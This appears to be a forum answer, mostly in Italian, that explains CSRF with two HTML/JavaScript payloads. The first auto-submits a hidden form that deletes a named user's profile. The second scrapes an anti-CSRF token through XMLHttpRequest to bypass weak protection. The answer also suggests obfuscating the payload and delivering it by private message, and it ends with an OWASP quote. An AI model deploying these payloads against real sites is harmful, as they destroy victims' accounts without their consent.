Ecco un esempio di base CSRF.
<form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
<input type="hidden" name="Username" value="DonaldT">
<input type="hidden" name="Checkbox-confirmation" value="on">
</form>
<script>document.Delete-account-confirmation.submit()</script>
Nota: Utilizzare un sito Web di terze parti non è obbligatorio per gli attacchi CSRF, puoi fare qualche danno solo con <img src="CSRF" />
why doesn't this work?
Diciamo che example.com è un forum. Questo forum consente agli utenti registrati di inviare pm ad altri utenti registrati. Quindi, come attaccante, posso provare a offuscare il CSRF e inviarlo tramite PM all'utente che voglio danneggiare, e fargli eseguire il codice malevolo indipendentemente dalla sua volontà.
Nel codice sopra Victim is DonaldT.
Quindi invio questo malevolo PM a DonaldT, apre il messaggio ed esegue il codice mentre si è loggato nel example.com. Il cookie di sessione e il token di sessione saranno diversi? Sì, in questo caso, il tuo sistema di prevenzione dovrebbe funzionare.
Tuttavia, a seconda dell'implementazione del token Anti-CSRF, se scarso l'implementazione è , potrebbe essere elusa da qualcosa di simile:
Attacco CSRF di evasione token
<body onload="get()">
<form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
<input type="hidden" name="Username" value="DonaldT">
<input type="hidden" name="Checkbox-confirmation" value="on">
<input type="hidden" id="forged-token" name="token" value=""/>
<input type="submit" value="go"/>
</form>
<script>
var x = new XMLHttpRequest();
function get() {
x.open("GET","?action=deleteprofile",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("forged-token").value = token;
document.getElementById("Delete-account-confirmation").submit();
}
}
</script>
Fonte esterna ti consiglio di leggere.
owasp
Remember that all cookies, even the secret ones, will be submitted
with every request. All authentication tokens will be submitted
regardless of whether or not the end-user was tricked into submitting
the request. Furthermore, session identifiers are simply used by the
application container to associate the request with a specific session
object. The session identifier does not verify that the end-user
intended to submit the request.